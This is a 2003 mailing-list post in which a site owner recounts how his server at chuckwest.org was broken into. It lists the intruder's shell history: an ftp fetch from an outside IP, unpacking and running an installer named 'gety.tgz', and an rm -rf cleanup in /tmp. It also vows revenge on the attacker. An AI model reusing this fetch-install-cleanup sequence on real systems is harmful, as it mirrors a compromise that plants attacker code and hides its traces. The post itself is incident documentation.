Big Website Hack Documented
From: Colnel Panic (yeah@boy.com)
Date: 03/25/03
- Next message: athegates: "Re: Attacking the loopback interface from the network"
- Previous message: Coyote: "Re: VNC Help"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: Colnel Panic <yeah@boy.com> Date: Tue, 25 Mar 2003 00:55:01 GMT
chuckwest.org
One of the many hack attempts at this machine actually worked. This was
not a zombie virus floating around the net. This was, so it appears, an
evil person sitting at a machine somewhere obviously craking this site.
That's the bad news. The good news is it was back up in less than 30
minutes. I'll have to restore the data but I put the server back up to
piss someone off. I will be on the net whether you like it or not. The
games are fun however and I would miss them if they where gone.
How The Event Unfolded:
It started when I noticed my search engine was not functioning. I
swithed to a virtual console (tty1) and pressed the up arrow to look for
a command I typed earlier. There I found 11 or 12 commands that I did
not type. They are:
linuxconf - I may have typed this one. The following I am sure I did not
type.
export TERM='dumb'
reset
id
ftp 209.171.43.28
tar xvfz gety.tgz - (That's gety.tgz not getty.tgz)
cd gety
./install
cd /tmp
rm -rf km3
exit
Before the machine fell apart in my hands I was able to recover the
/var/log directory and publish it at chuckwest.org/log for anyone who
might care to look at it.
As of now I am dedicated to find who would do this. This is a rare case
because, by luck, I was able to document the incident in great detail.
I'd like to find out just exactly who my "enemy" is and make thier life
a living hell. Just for fun of course.
-Chuck
- Next message: athegates: "Re: Attacking the loopback interface from the network"
- Previous message: Coyote: "Re: VNC Help"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
|
